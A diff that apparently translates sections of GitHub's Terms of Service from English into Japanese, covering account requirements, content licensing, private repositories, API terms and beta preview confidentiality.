+登録プロセスを完了するには、有効なメールアドレスを入力する必要があります。 お客様が法人に代わって本規約に同意する場合 (この場合、法人に関する詳細情報が必要です)、または[有料「アカウント」](#k-payment)を選択した場合 (この場合、請求のために追加情報が必要になります)、本名などの要求される他の情報は任意です。
 
-### 3. Account Requirements
-We have a few simple rules for User Accounts on GitHub's Service.
-- You must be a human to create an Account. Accounts registered by "bots" or other automated methods are not permitted. We do permit machine accounts:
-- A machine account is an Account set up by an individual human who accepts the Terms on behalf of the Account, provides a valid email address, and is responsible for its actions. A machine account is used exclusively for performing automated tasks. Multiple users may direct the actions of a machine account, but the owner of the Account is ultimately responsible for the machine's actions. You may maintain no more than one free machine account in addition to your free User Account.
-- One person or legal entity may maintain no more than one free Account (if you choose to control a machine account as well, that's fine, but it can only be used for running a machine).
-- You must be age 13 or older. While we are thrilled to see brilliant young coders get excited by learning to program, we must comply with United States law. GitHub does not target our Service to children under 13, and we do not permit any Users under 13 on our Service. If we learn of any User under the age of 13, we will [terminate that User’s Account immediately](#l-cancellation-and-termination). If you are a resident of a country outside the United States, your country’s minimum age may be older; in such a case, you are responsible for complying with your country’s laws.
-- Your login may only be used by one person — i.e., a single login may not be shared by multiple people. A paid Organization may only provide access to as many User Accounts as your subscription allows.
-- You may not use GitHub in violation of export control or sanctions laws of the United States or any other applicable jurisdiction. You may not use GitHub if you are or are working on behalf of a [Specially Designated National (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) or a person subject to similar blocking or denied party prohibitions administered by a U.S. government agency.  GitHub may allow persons in certain sanctioned countries or territories to access certain GitHub services pursuant to U.S. government authorizations.  For more information, please see our [Export Controls policy](/articles/github-and-export-controls).  
+### 3. アカウントの要件
+GitHub の「サービス」の「ユーザアカウント」には、いくつかの簡単な規則があります。
+- 「アカウント」を作成するのは人間でなければなりません。 「ボット」またはその他の自動化された手段で「アカウント」を登録することは許可されていません。 当社はコンピュータアカウントを許可しています:
+- コンピュータアカウントとは、「アカウント」に代わって「規約」を受け入れ、有効なメールアドレスを提供し、その動作について責任を負う人間個人により設定された「アカウント」のことです。 コンピュータアカウントは、自動化されたタスクを実行するためにのみ用いられます。 コンピュータアカウントの動作は複数のユーザが指示できますが、コンピュータの動作について究極的な責任を負うのは「アカウント」の所有者です。 無料の「ユーザアカウント」に加えて、無料のコンピュータアカウントを複数保持することはできません。
+- 1 人の個人または 1 つの法人が複数の無料「アカウント」を保持することはできません (コンピュータアカウントも制御することを選択した場合、それは問題ありませんが、それはコンピュータの実行にのみ使用できます)。
+- 年齢が13歳以上である必要があります。 当社は若く優秀なプログラマーがプログラミングを熱心に習得することを歓迎していますが、その一方で当社は米国の法律に従う必要があります。 GitHub の「サービス」は 13 歳未満の未成年を対象としておらず、当社は 13 歳未満の「ユーザ」が「サービス」を利用することを許可していません。 当社は「ユーザ」が 13 歳未満であることを知った場合、[その「ユーザ」の「アカウント」を直ちに解約](#l-cancellation-and-termination)します。 あなたが米国外の居住者である場合には、その国に適用される最低年齢が 13 歳以上である場合があります。そのような場合には、あなたはその国の法律に従う責任を負います。
+- ログインを使用できるのは 1 人だけです。つまり、1 つのログインを複数の人で共有することはできません。 有料の「Organization」は、サブスクリプションが許可する数の「ユーザアカウント」に対してのみアクセスを提供できます。
+- 米国またはその他の適用法域の輸出管理法または制裁法に違反して GitHub を使用することはできません。 あなたが[ 特定国籍 (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) 者もしくは米国政府機関によって管理されている同様の制限の対象者またはその代理で作業している場合は、GitHub を使用することはできません。    GitHub は、特定の認可された国または地域の人々が、米国政府の許可に従って特定の GitHub サービスにアクセスすることを許可する場合があります。    詳しくは「[輸出規制方針](/articles/github-and-export-controls)」をご覧ください。
 
-### 4. User Account Security
-You are responsible for keeping your Account secure while you use our Service. We offer tools such as two-factor authentication to help you maintain your Account's security, but the content of your Account and its security are up to you.
-- You are responsible for all content posted and activity that occurs under your Account (even when content is posted by others who have Accounts under your Account).
-- You are responsible for maintaining the security of your Account and password. GitHub cannot and will not be liable for any loss or damage from your failure to comply with this security obligation.
+### 4. ユーザアカウントのセキュリティ
+お客様には、当社の「サービス」を利用している間、「アカウント」を安全に保つ責任があります。 当社は「アカウント」のセキュリティを維持するのに役立つ 2 要素認証などのツールを提供していますが、「アカウント」のコンテンツとそのセキュリティはお客様の手に委ねられています。
+- お客様は、自身の「アカウント」下で投稿されたすべてのコンテンツおよび自身の「アカウント」下で発生するすべてのアクティビティについて責任を負います (コンテンツがお客様の「アカウント」下に「アカウント」を持つ他者によって投稿された場合も同様です)。
+- お客様には、自身の「アカウント」とパスワードのセキュリティを維持する責任があります。 GitHub は、このセキュリティ義務を順守しなかったことによる損失または損害について責任を負いません。
 - You will promptly [notify GitHub](https://support.github.com/contact?tags=docs-policy) if you become aware of any unauthorized use of, or access to, our Service through your Account, including any unauthorized use of your password or Account.
 
-### 5. Additional Terms
-In some situations, third parties' terms may apply to your use of GitHub. For example, you may be a member of an organization on GitHub with its own terms or license agreements; you may download an application that integrates with GitHub; or you may use GitHub to authenticate to another service. Please be aware that while these Terms are our full agreement with you, other parties' terms govern their relationships with you.
+### 5. 追加条項
+場合によっては、あなたによる GitHub の利用について、第三者による規約が適用されることがあります。 たとえば、お客様が独自の規約またはライセンス契約を持つ GitHub の Organization の成員である場合、お客様は GitHub に統合するアプリケーションをダウンロードすることができる場合や、他のサービスに認証するために GitHub を利用できる場合があります。 当社とお客様の間の完全な合意は本「規約」ですが、他の当事者とお客様との関係にはかかる当事者の規約が適用されることに注意してください。
 
-If you are a government User or otherwise accessing or using any GitHub Service in a government capacity, this [Government Amendment to GitHub Terms of Service](/articles/amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users/) applies to you, and you agree to its provisions.
+お客様が政府機関の「ユーザ」である場合、または政府機関の中で GitHub の「サービス」にアクセスする、またはそれを利用する場合、[GitHub 利用規約の政府修正条項](/articles/amendment-to-github-terms-of-service-applicable-to-u-s-federal-government-users/)が適用され、お客様はその条項に同意するものとします。
 
-If you have signed up for GitHub Enterprise Cloud, the [Enterprise Cloud Addendum](/articles/github-enterprise-cloud-addendum/) applies to you, and you agree to its provisions.
+お客様が GitHub Enterprise Cloud にサインアップしている場合は、[Enterprise Cloud の補遺](/articles/github-enterprise-cloud-addendum/)が適用され、お客様はその条項に同意するものとします。
 
-## C. Acceptable Use
-**Short version:** *GitHub hosts a wide variety of collaborative projects from all over the world, and that collaboration only works when our users are able to work together in good faith. While using the service, you must follow the terms of this section, which include some restrictions on content you can post, conduct on the service, and other limitations. In short, be excellent to each other.*
+## C. 利用規定
+**趣旨の要約:** *GitHub は、世界中のさまざまな協同プロジェクトをホストしており、そうしたコラボレーションは、ユーザ同士が誠実に協力できる場合にのみ成り立ちます。 サービスを利用する際は、本セクションの規約に従う必要があります。これには、お客様が投稿できるコンテンツについての制限、サービス上の行動、その他の制限が記載されています。 その趣旨を要約すれば、お互いのことを思いやりましょうということです。*
 
-Your use of the Website and Service must not violate any applicable laws, including copyright or trademark laws, export control or sanctions laws, or other laws in your jurisdiction. You are responsible for making sure that your use of the Service is in compliance with laws and any applicable regulations.
+「ウェブサイト」および「サービス」を使用する際には、著作権法、商標法、輸出規制法もしくは制裁法、またはお住まいの管轄におけるその他の法律を含むいかなる適用法にも違反してはなりません。 お客様には「サービス」の利用が法律および適用される規制に準拠していることを確認する責任があります。
 
-You agree that you will not under any circumstances violate our [Acceptable Use Policies](/articles/github-acceptable-use-policies) or [Community Guidelines](/articles/github-community-guidelines).
+いかなる場合も[利用規程](/articles/github-acceptable-use-policies)および[コミュニティガイドライン](/articles/github-community-guidelines)に違反しないことに同意するものとします。
 
-## D. User-Generated Content
-**Short version:** *You own content you create, but you allow us certain rights to it, so that we can display and share the content you post. You still have control over your content, and responsibility for it, and the rights you grant us are limited to those we need to provide the service. We have the right to remove content or close Accounts if we need to.*
+## D. ユーザ生成コンテンツ
+**趣旨の要約:** *お客様は、自身が作成したコンテンツを所有することになりますが、お客様が投稿したコンテンツを当社が表示および共有できるように、特定の権利を当社に許可するものとします。 ただし、お客様が自身のコンテンツを管理し、それに対する責任を負うことには変わりありません。また、お客様が当社に与える権利は、当社がサービスを提供するために必要な範囲に限られます。 当社は必要に応じてコンテンツを削除したり「アカウント」を閉鎖する権利を有します。*
 
-### 1. Responsibility for User-Generated Content
-You may create or upload User-Generated Content while using the Service. You are solely responsible for the content of, and for any harm resulting from, any User-Generated Content that you post, upload, link to or otherwise make available via the Service, regardless of the form of that Content. We are not responsible for any public display or misuse of your User-Generated Content.
+### 1. 「ユーザ生成コンテンツ」に対する責任
+「サービス」の利用中に、お客様は「ユーザ生成コンテンツ」を作成またはアップロードすることができます。 お客様は、「コンテンツ」の形式に関係なく、お客様が「サービス」に投稿、アップロード、リンクするか、またはその他「サービス」を介して利用可能にする「ユーザ生成コンテンツ」のコンテンツおよびその結果生じる損害に対して単独で責任を負います。 当社は、お客様の「ユーザ生成コンテンツ」のいかなる公開表示または悪用に対しても責任を負いません。
 
-### 2. GitHub May Remove Content
-We have the right to refuse or remove any User-Generated Content that, in our sole discretion, violates any laws or [GitHub terms or policies](/github/site-policy). User-Generated Content displayed on GitHub Mobile may be subject to mobile app stores' additional terms.
+### 2. GitHub によるコンテンツの削除
+当社は、法律、[GitHub の規約またはポリシー](/github/site-policy)に違反すると当社が独自に判断したあらゆる「ユーザ生成コンテンツ」 を拒否および削除する権利を有します。 User-Generated Content displayed on GitHub Mobile may be subject to mobile app stores' additional terms.
 
-### 3. Ownership of Content, Right to Post, and License Grants
-You retain ownership of and responsibility for Your Content. If you're posting anything you did not create yourself or do not own the rights to, you agree that you are responsible for any Content you post; that you will only submit Content that you have the right to post; and that you will fully comply with any third party licenses relating to Content you post.
+### 3. コンテンツの所有権、投稿する権利、ライセンスの付与
+お客様は、「あなたのコンテンツ」の所有権および責任を保持します。 お客様が自身で作成していないものや権利を所有していないものを投稿する場合、お客様は投稿する「コンテンツ」に責任を負うこと、お客様に投稿する権利がある「コンテンツ」のみを送信すること、および投稿する「コンテンツ」に関連する第三者のライセンスを完全に遵守することに同意するものとします。
 
-Because you retain ownership of and responsibility for Your Content, we need you to grant us — and other GitHub Users — certain legal permissions, listed in Sections D.4 — D.7. These license grants apply to Your Content. If you upload Content that already comes with a license granting GitHub the permissions we need to run our Service, no additional license is required. You understand that you will not receive any payment for any of the rights granted in Sections D.4 — D.7. The licenses you grant to us will end when you remove Your Content from our servers, unless other Users have forked it.
+お客様は「あなたのコンテンツ」の所有権と責任を保持しているため、当社は、セクション D.4〜D.7 に記載されている特定の法的権限を当社および GitHub の他の「ユーザ」に付与することを求めます。 かかるライセンス付与は、「あなたのコンテンツ」に適用されます。 お客様が、当社が「サービス」を実行するために必要な権限を GitHub に付与するライセンスをあらかじめ伴うような「コンテンツ」をアップロードする場合、追加のライセンスは必要ありません。 お客様は、セクション D.4〜D.7 で付与された権利のいずれに対しても支払いを受け取らないことを理解するものとします。 他の「ユーザ」がフォークした場合を除き、当社のサーバーから「あなたのコンテンツ」を削除すると、当社に付与したライセンスは終了します。
 
-### 4. License Grant to Us
-We need the legal right to do things like host Your Content, publish it, and share it. You grant us and our legal successors the right to store, archive, parse, and display Your Content, and make incidental copies, as necessary to provide the Service, including improving the Service over time. This license includes the right to do things like copy it to our database and make backups; show it to you and other users; parse it into a search index or otherwise analyze it on our servers; share it with other users; and perform it, in case Your Content is something like music or video.
+### 4. 当社へのライセンス許可
+当社には、「あなたのコンテンツ」のホスト、公開および共有などを行うための法的権利が必要です。 お客様は、当社およびその後継者に、「あなたのコンテンツ」を保存、アーカイブ、解析、および表示し、今後の「サービス」向上を含めて「サービス」の提供のために必要に応じて付随的な複製を作成する権利を付与します。 このライセンスには、「あなたのコンテンツ」が音楽やビデオなどのものである場合、データベースにコピーしてバックアップを作成する、お客様および他のユーザに表示する、検索インデックスに解析する、またはその他サーバー上で分析する、他のユーザと共有する、実行するなどの操作を行う権利が含まれます。
 
-This license does not grant GitHub the right to sell Your Content. It also does not grant GitHub the right to otherwise distribute or use Your Content outside of our provision of the Service, except that as part of the right to archive Your Content, GitHub may permit our partners to store and archive Your Content in public repositories in connection with the [GitHub Arctic Code Vault and GitHub Archive Program](https://archiveprogram.github.com/).
+このライセンスは、「あなたのコンテンツ」を販売またはその他の方法で配布する権利をGitHubに付与するものではありません。 また、「お客様のコンテンツ」を本「サービス」の規定外において配布や使用する権限をGitHubに与えるものでもありません。ただし、[「GitHub Arctic Code Vault」および「GitHub Archive Program」](https://archiveprogram.github.com/)に関して、パブリックリポジトリにある「お客様のコンテンツ」をアーカイブする権利の一環として、GitHubは当社パートナーに「お客様のコンテンツ」を保存およびアーカイブする許可を与えることがあります。
 
-### 5. License Grant to Other Users
-Any User-Generated Content you post publicly, including issues, comments, and contributions to other Users' repositories, may be viewed by others. By setting your repositories to be viewed publicly, you agree to allow others to view and "fork" your repositories (this means that others may make their own copies of Content from your repositories in repositories they control).
+### 5. 他のユーザへのライセンス許可
+Issue、コメント、他の「ユーザ」のリポジトリへのコントリビューションなど、お客様が公に投稿する「ユーザ生成コンテンツ」は、他者によって閲覧される場合があります。 リポジトリを公に表示するように設定することにより、お客様は、他者がリポジトリを表示および「フォーク」できるようになることに同意するものとします (これは、他者が管理するリポジトリ内のお客様のリポジトリから他者が「コンテンツ」の独自の複製を作成できることを意味します)。
 
-If you set your pages and repositories to be viewed publicly, you grant each User of GitHub a nonexclusive, worldwide license to use, display, and perform Your Content through the GitHub Service and to reproduce Your Content solely on GitHub as permitted through GitHub's functionality (for example, through forking). You may grant further rights if you [adopt a license](/articles/adding-a-license-to-a-repository/#including-an-open-source-license-in-your-repository). If you are uploading Content you did not create or own, you are responsible for ensuring that the Content you upload is licensed under terms that grant these permissions to other GitHub Users.
+お客様が自身のページおよびリポジトリを公に表示するように設定した場合、お客様は GitHub の「サービス」を通じて「あなたのコンテンツ」を使用、表示、および実演し、また GitHub の機能を通じて許可される限りにおいて (フォークなど) のみ GitHub 上で「あなたのコンテンツ」を複製する、非独占的かつ世界的ライセンスを GitHub の各「ユーザ」に付与します。 お客様が[ライセンスを採用](/articles/adding-a-license-to-a-repository/#including-an-open-source-license-in-your-repository)した場合、他の権利を付与することができます。 お客様が作成または所有していない「コンテンツ」をアップロードする場合には、アップロードする「コンテンツ」が、これらの権限を GitHub の他の「ユーザ」に付与する条項に基づいて必ずライセンスされるよう図る責任を負います。
 
-### 6. Contributions Under Repository License
-Whenever you add Content to a repository containing notice of a license, you license that Content under the same terms, and you agree that you have the right to license that Content under those terms. If you have a separate agreement to license that Content under different terms, such as a contributor license agreement, that agreement will supersede.
+### 6. リポジトリのライセンス下でのコントリビューション
+お客様がライセンスの通知を含むリポジトリに対して「コンテンツ」を追加する際、お客様は同じ条件のもとでその「コンテンツ」にライセンスを付与し、お客様はこの条件でその「コンテンツ」にライセンスを付与する権利を有することに同意するものとします。 お客様が、コントリビューターライセンス契約など、異なる条件のもとで「コンテンツ」のライセンスを別途締結している場合は、その契約が優先されます。
 
-Isn't this just how it works already? Yep. This is widely accepted as the norm in the open-source community; it's commonly referred to by the shorthand "inbound=outbound". We're just making it explicit.
+おそらくこれはすでに当たり前のことでしょう。 実際、 これはオープンソースコミュニティの規範として広く受け入れられています。一般的には、「インバウンド=アウトバウンド」という短縮形で呼ばれます。 このことを明示的にしているにすぎません。
 
-### 7. Moral Rights
-You retain all moral rights to Your Content that you upload, publish, or submit to any part of the Service, including the rights of integrity and attribution. However, you waive these rights and agree not to assert them against us, to enable us to reasonably exercise the rights granted in Section D.4, but not otherwise.
+### 7. 人格権
+お客様は、完全性と帰属の権利も含めて、「サービス」の任意の部分に対してアップロード、公開、またはサブミットする「あなたのコンテンツ」について、すべての人格権を保持します。 ただしお客様は、GitHubがセクションD.4で付与された権利を合理的に行使できるようにする目的に限り、これらの権利を放棄し、GitHubに対してこれらの権利を主張しないことに同意するものとしますが、その目的以外ではこの限りではありません。
 
-To the extent this agreement is not enforceable by applicable law, you grant GitHub the rights we need to use Your Content without attribution and to make reasonable adaptations of Your Content as necessary to render the Website and provide the Service.
+本契約が適用法で強制できない範囲において、帰属なしで「あなたのコンテンツ」を使用し、「ウェブサイト」のレンダリングと「サービス」の提供に必要な「あなたのコンテンツ」の合理的な適応を行うために必要な権利を GitHub に付与します。
 
-## E. Private Repositories
-**Short version:** *We treat the content of private repositories as confidential, and we only access it as described in our Privacy Statement—for security purposes, to assist the repository owner with a support matter, to maintain the integrity of the Service, to comply with our legal obligations, if we have reason to believe the contents are in violation of the law, or with your consent.*
+## E. プライベートリポジトリ
+**趣旨の要約:** *当社はプライベートリポジトリのコンテンツを機密として扱い、「プライバシーについての声明」に記載されている通り、すなわちセキュリティ上の目的、リポジトリのオーナーをサポートするため、サービスの完全性を維持するため、当社の法的義務を遵守するため、コンテンツが法律を侵害していると思われる理由がある場合、またはあなたの同意に基づいてのみプライベートリポジトリのコンテンツにアクセスします。*
 
-### 1. Control of Private Repositories
-Some Accounts may have private repositories, which allow the User to control access to Content.
+### 1. プライベートリポジトリの制御
+一部の「アカウント」には、「ユーザ」が「コンテンツ」へのアクセスを制御することを可能にするプライベートリポジトリがある場合があります。
 
-### 2. Confidentiality of Private Repositories
-GitHub considers the contents of private repositories to be confidential to you. GitHub will protect the contents of private repositories from unauthorized use, access, or disclosure in the same manner that we would use to protect our own confidential information of a similar nature and in no event with less than a reasonable degree of care.
+### 2. プライベートリポジトリの機密保持
+GitHub は、プライベートリポジトリのコンテンツを機密情報とみなします。 GitHub は、プライベートリポジトリのコンテンツを不正な使用、アクセス、または開示から保護します。これは、同様の性質の独自の機密情報を保護するために使用する方法と同じで、いかなる場合も一定以上の合理的な注意が払われるものとします。
 
-### 3. Access
-GitHub personnel may only access the content of your private repositories in the situations described in our [Privacy Statement](/github/site-policy/github-privacy-statement#repository-contents).
+### 3. アクセス
+GitHubのスタッフは、「[プライバシーについての声明](/github/site-policy/github-privacy-statement#repository-contents)」に記載されている状況においてのみ、あなたのプライベートリポジトリにアクセスすることができます。
 
-You may choose to enable additional access to your private repositories. For example:
-- You may enable various GitHub services or features that require additional rights to Your Content in private repositories. These rights may vary depending on the service or feature, but GitHub will continue to treat your private repository Content as confidential. If those services or features require rights in addition to those we need to provide the GitHub Service, we will provide an explanation of those rights.
+お客様は、自身のプライベートリポジトリへのアクセスを追加することもできます。 例:
+- プライベートリポジトリにある「あなたのコンテンツ」への追加の権利を必要とする GitHub の各種サービスまたは機能を有効にするなどが考えられます。 こうした権利はサービスまたは機能によって異なる場合がありますが、GitHub は引き続きプライベートリポジトリの「コンテンツ」を機密として扱います。 これらのサービスまたは機能が、GitHub の「サービス」の提供に必要な以上の権利を追加で必要とする場合、当社はその件について説明を行います。
 
-Additionally, we may be [compelled by law](/github/site-policy/github-privacy-statement#for-legal-disclosure) to disclose the contents of your private repositories. 
+また、[法律により強制された](/github/site-policy/github-privacy-statement#for-legal-disclosure)場合は、当社はプライベートリポジトリのコンテンツを開示する場合があります。
 
-GitHub will provide notice regarding our access to private repository content, unless [for legal disclosure](/github/site-policy/github-privacy-statement#for-legal-disclosure), to comply with our legal obligations, or where otherwise bound by requirements under law, for automated scanning, or if in response to a security threat or other risk to security.
+GitHub は、[法令にもとづく開示を求められた場合](/github/site-policy/github-privacy-statement#for-legal-disclosure)、当社の法的義務を順守するために必要な場合、その他法的要件により拘束されている場合、 自動スキャンの場合、またはセキュリティの脅威やその他セキュリティへのリスクに対処する場合を除き、プライベートリポジトリのコンテンツへの当社によるアクセスについて通知します。
 
-## F. Copyright Infringement and DMCA Policy
-If you believe that content on our website violates your copyright, please contact us in accordance with our [Digital Millennium Copyright Act Policy](/articles/dmca-takedown-policy/). If you are a copyright owner and you believe that content on GitHub violates your rights, please contact us via [our convenient DMCA form](https://github.com/contact/dmca) or by emailing copyright@github.com. There may be legal consequences for sending a false or frivolous takedown notice. Before sending a takedown request, you must consider legal uses such as fair use and licensed uses.
+## F. 著作権侵害と DMCA ポリシー
+当社のウェブサイトのコンテンツが著作権を侵害していると思われる場合は、[デジタルミレニアム著作権法ポリシー](/articles/dmca-takedown-policy/)に従ってご連絡ください。 あなたが著作権所有者であり、GitHub のコンテンツがあなたの権利を侵害していると思われる場合は、[便利な DMCA フォーム](https://github.com/contact/dmca)またはメール (copyright@github.com) でお問い合わせください。 虚偽または根拠のない削除通知を送信すると、法的責任が生じる場合があります。 削除リクエストを送信する前に、フェアユースやライセンス使用などの法的使用を検討する必要があります。
 
-We will terminate the Accounts of [repeat infringers](/articles/dmca-takedown-policy/#e-repeated-infringement) of this policy.
+当社は、本ポリシーの[侵害を繰り返す人物](/articles/dmca-takedown-policy/#e-repeated-infringement)の「アカウント」を解約します。
 
-## G. Intellectual Property Notice
-**Short version:** *We own the service and all of our content. In order for you to use our content, we give you certain rights to it, but you may only use our content in the way we have allowed.*
+## G. 知的財産に関する通知
+**趣旨の要約:** *当社は、本サービスと当社のすべてのコンテンツを所有しています。 お客様が当社のコンテンツを使用できるようにするため、当社は特定の権利を付与しますが、お客様は当社の許可した方法でしか当社のコンテンツを使用できません。*
 
-### 1. GitHub's Rights to Content
-GitHub and our licensors, vendors, agents, and/or our content providers retain ownership of all intellectual property rights of any kind related to the Website and Service. We reserve all rights that are not expressly granted to you under this Agreement or by law. The look and feel of the Website and Service is copyright © GitHub, Inc. All rights reserved. You may not duplicate, copy, or reuse any portion of the HTML/CSS, Javascript, or visual design elements or concepts without express written permission from GitHub.
+### 1. コンテンツに対する GitHub の権利
+GitHub および当社のライセンサー、ベンダー、エージェント、および/または当社のコンテンツプロバイダーは、「ウェブサイト」および「サービス」に関連するあらゆる種類の知的財産権の所有権を保持します。 当社は、本「契約」または法律により明示的にお客様に付与されていないすべての権利を留保します。 「ウェブサイト」および「サービス」の見た目は© GitHub, Inc.が著作権を有しています。 お客様は、GitHubからの書面による許可なく、HTML/CSS、Javascript、またはビジュアルデザイン要素またはコンセプトのいかなる部分も複製、コピー、再利用することはできません。
 
-### 2. GitHub Trademarks and Logos
-If you’d like to use GitHub’s trademarks, you must follow all of our trademark guidelines, including those on our logos page: https://github.com/logos.
+### 2. GitHub のトレードマークとロゴ
+GitHub の商標を使用する場合は、ロゴのページ (https://github.com/logos) にあるものを含め、商標に関するすべてのガイドラインに従う必要があります。
 
-### 3. License to GitHub Policies
-This Agreement is licensed under this [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). For details, see our [site-policy repository](https://github.com/github/site-policy#license).
+### 3. GitHub ライセンスポリシー
+本「契約」は、この [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/) の元でライセンス付与されています。 詳細は、[サイトポリシーリポジトリ](https://github.com/github/site-policy#license)を参照してください。
 
-## H. API Terms
-**Short version:** *You agree to these Terms of Service, plus this Section H, when using any of GitHub's APIs (Application Provider Interface), including use of the API through a third party product that accesses GitHub.*
+## H. API 規約
+**趣旨の要約:** *GitHub にアクセスするサードパーティ製品を介したAPIの使用を含む、GitHub の API (アプリケーションプロバイダーインターフェイス) のいずれかを使用する場合、本「利用規約」に加えて本セクションHに同意するものとします。 *
 
-Abuse or excessively frequent requests to GitHub via the API may result in the temporary or permanent suspension of your Account's access to the API. GitHub, in our sole discretion, will determine abuse or excessive usage of the API. We will make a reasonable attempt to warn you via email prior to suspension.
+API を介した GitHub への不正または過度のリクエストを行った場合「アカウント」の API へのアクセスを一時的または永続的に停止する場合があります。 API の不正または過度の使用は GitHub の独自の裁量で判断されます。 停止が行われる場合は、当社が事前に電子メールで警告します。
 
-You may not share API tokens to exceed GitHub's rate limitations.
+GitHub のレート制限を超えて API トークンを共有することはできません。
 
-You may not use the API to download data or Content from GitHub for spamming purposes, including for the purposes of selling GitHub users' personal information, such as to recruiters, headhunters, and job boards.
+スパム目的で API を使用して GitHub からデータまたは「コンテンツ」をダウンロードすることはできません。これには、リクルーター、ヘッドハンター、求人掲示板などに GitHub ユーザーの個人情報を販売する目的が含まれます。
 
-All use of the GitHub API is subject to these Terms of Service and the [GitHub Privacy Statement](https://github.com/site/privacy).
+GitHub API のすべての使用には、本「利用規約」および「[GitHub のプライバシーについての声明](https://github.com/site/privacy)」が適用されます。
 
-GitHub may offer subscription-based access to our API for those Users who require high-throughput access or access that would result in resale of GitHub's Service.
+GitHub は、高スループットアクセスまたは GitHub の「サービス」の転売につながるアクセスを必要とする「ユーザ」向けに、API へのアクセスをサブスクリプションベースで提供する場合があります。
 
-## I. GitHub Additional Product Terms
-**Short version:** *You need to follow certain specific terms and conditions for GitHub's various features and products, and you agree to the Supplemental Terms and Conditions when you agree to this Agreement.*
+## I. GitHub追加製品の利用規約
+**趣旨の要約:** *お客様は GitHub の各種機能および製品に固有の特定の利用規約に従う必要があり、本「契約」に同意する場合は「補足利用規約」に同意するものとします。*
 
-Some Service features may be subject to additional terms specific to that feature or product as set forth in the GitHub Additional Product Terms. By accessing or using the Services, you also agree to the [GitHub Additional Product Terms](/github/site-policy/github-additional-product-terms).
+「サービス」の一部の機能には、「GitHub 追加製品の利用規約」の定めに従い、かかる機能または製品に固有の追加条件が適用される場合があります。 「サービス」にアクセスまたはこれを利用することにより、あなたは [GitHub 追加製品の利用規約](/github/site-policy/github-additional-product-terms)にも同意することになります。
 
-## J. Beta Previews
-**Short version:** *Beta Previews may not be supported or may change at any time. You may receive confidential information through those programs that must remain confidential while the program is private. We'd love your feedback to make our Beta Previews better.*
+## J. ベータプレビュー
+**趣旨の要約:** *「ベータプレビュー」においてはサポートが提供されない場合があり、その内容は随時変更される可能性があります。 このプログラムを通じて機密情報を受け取る場合がありますが、プログラムが非公開である間はかかる機密情報を秘匿する必要があります。 「ベータプレビュー」を改善するため、お客様のフィードバックを歓迎いたします。*
 
-### 1. Subject to Change
+### 1. 変更の対象
 
-Beta Previews may not be supported and may be changed at any time without notice. In addition, Beta Previews are not subject to the same security measures and auditing to which the Service has been and is subject. **By using a Beta Preview, you use it at your own risk.**
+「ベータプレビュー」はサポートを受けることができない場合があり、その内容は随時予告なく変更される場合があります。 また、「ベータプレビュー」は、「サービス」にこれまでも現在も適用されているものと同等のセキュリティ対策および監査の対象ではありません。 **「ベータプレビュー」を使用した場合は自己の責任においてそれを使用したことになります。**
 
-### 2. Confidentiality
+### 2. 機密保持
 
-As a user of Beta Previews, you may get access to special information that isn’t available to the rest of the world. Due to the sensitive nature of this information, it’s important for us to make sure that you keep that information secret.
+「ベータプレビュー」のユーザは、他の地域では利用できない特別な情報にアクセスできる場合があります。 この情報は機密性が高いため、あなたがかかる情報を秘密にしておくことは当社にとって重要です。
 
-**Confidentiality Obligations.** You agree that any non-public Beta Preview information we give you, such as information about a private Beta Preview, will be considered GitHub’s confidential information (collectively, “Confidential Information”), regardless of whether it is marked or identified as such. You agree to only use such Confidential Information for the express purpose of testing and evaluating the Beta Preview (the “Purpose”), and not for any other purpose. You should use the same degree of care as you would with your own confidential information, but no less than reasonable precautions to prevent any unauthorized use, disclosure, publication, or dissemination of our Confidential Information. You promise not to disclose, publish, or disseminate any Confidential Information to any third party, unless we don’t otherwise prohibit or restrict such disclosure (for example, you might be part of a GitHub-organized group discussion about a private Beta Preview feature).
+**守秘義務:** お客様は、非公開の「ベータプレビュー」に関する情報など、当社がお客様に提供する公開されていない「ベータプレビュー」情報が、そのように表示されているか特定されているかにかかわらず、GitHub の機密情報 (「機密情報」と総称) と見なされることに同意するものとします。 またお客様は、かかる「機密情報」を「ベータプレビュー」のテストおよび評価の明示的な目的にのみ使用し (「目的」)、その他一切の目的には使用しないことに同意するものとします。 お客様は自身の機密情報と同じ程度の注意を払う必要がありますが、これが当社の「機密情報」の不正使用、開示、公開、または配布を防止するための合理的な予防策に劣るものであってはなりません。 お客様は、「機密情報」を第三者に開示、公開、または配布しないことを約束します。ただし、当社がかかる開示を禁止または制限しない場合はこの限りではありません (たとえば、お客様が非公開の「ベータプレビュー」機能に関する GitHub 主催のグループディスカッションに参加する場合)。
 
-**Exceptions.** Confidential Information will not include information that is: (a) or becomes publicly available without breach of this Agreement through no act or inaction on your part (such as when a private Beta Preview becomes a public Beta Preview); (b) known to you before we disclose it to you; (c) independently developed by you without breach of any confidentiality obligation to us or any third party; or (d) disclosed with permission from GitHub. You will not violate the terms of this Agreement if you are required to disclose Confidential Information pursuant to operation of law, provided GitHub has been given reasonable advance written notice to object, unless prohibited by law. 
+**例外:** 「機密情報」には、以下の情報は含まれません。(a) お客様の行為もしくは不作為により本「契約」に違反することなく公開されている情報 (非公開の「ベータプレビュー」が公開「ベータプレビュー」になった場合など)、(b) 当社がお客様に開示する前にお客様に知られている情報、(c) 当社もしくは第三者に対する守秘義務に違反することなく、お客様が独自に開発した情報、または (d) GitHub の許可を得て開示された情報。 法律で禁止されている場合を除き、書面による合理的な事前通知が GitHub に提供されていることを条件に、法律の運用に従って「機密情報」を開示する必要がある場合、それは本「契約」の規約の違反にはなりません。
 
-### 3. Feedback
+### 3. フィードバック
 
-We’re always trying to improve of products and services, and your feedback as a Beta Preview user will help us do that. If you choose to give us any ideas, know-how, algorithms, code contributions, suggestions, enhancement requests, recommendations or any other feedback for our products or services (collectively, “Feedback”), you acknowledge and agree that GitHub will have a royalty-free, fully paid-up, worldwide, transferable, sub-licensable, irrevocable and perpetual license to implement, use, modify, commercially exploit and/or incorporate the Feedback into our products, services, and documentation.
